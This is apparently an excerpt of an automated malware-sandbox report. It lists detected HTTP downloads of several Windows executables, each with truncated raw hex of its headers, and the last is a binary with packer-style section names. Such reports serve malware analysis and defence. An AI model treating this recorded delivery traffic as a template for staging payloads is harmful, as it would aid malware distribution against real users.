00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 01:19:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 01:19:20 GMTContent-Type: application/octet-streamContent-Length: 1910272Last-Modified: Sat, 27 Jul 2024 00:39:18 GMTConnection: keep-aliveETag: "66a441b6-1d2600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 76 c6 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b9 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 b8 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 76 64 6c 61 70 66 69 00 10 1a 00 00 b0 31 00 00 0c 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 61 73 69 79 6c 67 72 00 10 00 00 00 c0 4b 00 00 06 00 00 00 fe 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 